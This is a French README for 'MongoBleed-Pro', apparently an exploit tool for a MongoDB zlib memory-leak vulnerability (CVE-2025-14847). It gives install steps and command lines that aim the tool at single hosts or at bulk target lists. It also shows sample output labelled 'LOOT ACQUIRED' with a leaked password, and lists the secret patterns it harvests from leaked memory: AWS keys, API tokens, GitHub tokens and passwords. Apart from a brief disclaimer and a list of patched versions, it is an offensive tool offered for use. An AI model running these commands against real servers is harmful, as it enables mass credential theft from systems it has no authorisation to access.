MongoBleed-Pro ☠️

Outil avancé d'exploitation de fuite de mémoire MongoDB
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🔥 À propos

MongoBleed-Pro est un outil d'exploitation avancé pour CVE-2025-14847, une vulnérabilité critique de divulgation de mémoire dans la gestion de la compression zlib de MongoDB. Cet outil permet aux chercheurs en sécurité d'extraire des données sensibles d'instances MongoDB vulnérables.

⚠️ Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant d'effectuer des tests.

💀 Détails de la vulnérabilité

🚀 Fonctionnalités

• ☠️ Interface style hacker - Interface terminal élite avec animations
• ⚡ Analyse multi-threadée - Extraction rapide de la mémoire avec threads configurables
• 🎯 Détection automatique de vulnérabilité - Vérification automatique de la vulnérabilité avant exploitation
• 🔑 Détection de motifs de secrets - Détecte les clés AWS, jetons API, mots de passe et e-mails
• 📊 Progression en temps réel - Visualisation en direct de la fuite de mémoire
• 💾 Export des données - Enregistre les données extraites dans des fichiers pour analyse
• 🌐 Analyse en masse - Analyse plusieurs cibles à partir d'un fichier

📦 Installation

# Clone the repository
git clone https://github.com/cybertechajju/CVE-2025-14847_Expolit.git
cd CVE-2025-14847_Expolit

# Install dependencies
pip install -r requirements.txt

🎮 Utilisation

Utilisation de base

python3 mongobleed_pro.py

Cibler un hôte spécifique

python3 mongobleed_pro.py --target 192.168.1.100

Port personnalisé

python3 mongobleed_pro.py --target 192.168.1.100:27018

Analyse en masse

python3 mongobleed_pro.py --file targets.txt

Options avancées

python3 mongobleed_pro.py --target 192.168.1.100 --threads 100 --min-offset 100 --max-offset 20000

Toutes les options

📸 Captures d'écran

╔══════════════════════════════════════════════════════════════╗
║  💀 INITIATING MEMORY EXTRACTION SEQUENCE 💀                 ║
╚══════════════════════════════════════════════════════════════╝

⚡ Target Acquired: 192.168.1.100:27017
   ✓ Port OPEN
   ☠️  VULNERABLE! Initiating attack...

  ◉ 0x0E31 │ nr_inactive_anon 134420\nnr_active_anon 110832...
  ☠️  LOOT ACQUIRED: 🔐 Password
      → admin_pass=SuperSecret123

╔══════════════════ EXTRACTION COMPLETE ══════════════════╗
║  💾 Bytes Extracted: 125,847
║  📦 Unique Fragments: 342
║  🔑 Secrets Found: 5
╚══════════════════════════════════════════════════════════╝

🔑 Types de secrets détectés

• 🔑 Clés d'accès AWS (AKIA...)
• 🤖 Clés API OpenAI (sk-...)
• 🐙 Jetons GitHub (ghp_...)
• 🔐 Mots de passe et secrets
• 📧 Adresses e-mail

📁 Fichiers de sortie

🛡️ Atténuation

Si vous êtes administrateur MongoDB, mettez à jour vers les versions corrigées :

• MongoDB 8.0.10+
• MongoDB 7.3.6+
• MongoDB 7.0.19+
• MongoDB 6.0.23+

👤 Auteur

CyberTechAjju

• 🐦 Twitter : @CyberTechAjju

📜 Licence

Ce projet est sous licence MIT - consultez le fichier LICENSE pour plus de détails.

⭐ Support

Si vous avez trouvé cet outil utile, merci de lui donner une ⭐ sur GitHub !

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